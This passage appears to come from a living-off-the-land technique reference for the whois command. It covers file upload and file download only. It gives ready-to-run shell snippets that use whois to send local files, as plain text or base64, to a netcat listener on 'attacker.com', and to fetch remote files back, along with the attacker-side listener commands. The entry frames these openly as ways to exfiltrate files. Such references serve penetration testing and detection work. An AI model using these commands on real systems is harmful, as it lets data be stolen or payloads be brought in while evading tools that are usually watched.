whois hangs waiting for the remote peer to close the socket.

File upload

It can exfiltrate files on the network.

Send a text file to a TCP port. Run nc -l -p 12345 > "file_to_save" on the attacker box to collect the file. The file has a trailing $'\x0d\x0a' and its length is limited by the maximum size of arguments.

RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
whois -h $RHOST -p $RPORT "`cat $LFILE`"

Send a binary file to a TCP port. Run nc -l -p 12345 | tr -d $'\x0d' | base64 -d > "file_to_save" on the attacker box to collect the file. The file length is limited by the maximum size of arguments.

RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
whois -h $RHOST -p $RPORT "`base64 $LFILE`"

File download

It can download remote files.

Fetch remote text file from a remote TCP port. Run nc -l -p 12345 < "file_to_send" on the attacker box to send the file. The file has instances of $’\x0d’ stripped.

RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT > "$LFILE"

Fetch remote binary file from a remote TCP port. Run base64 "file_to_send" | nc -l -p 12345 on the attacker box to send the file.

RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT | base64 -d > "$LFILE"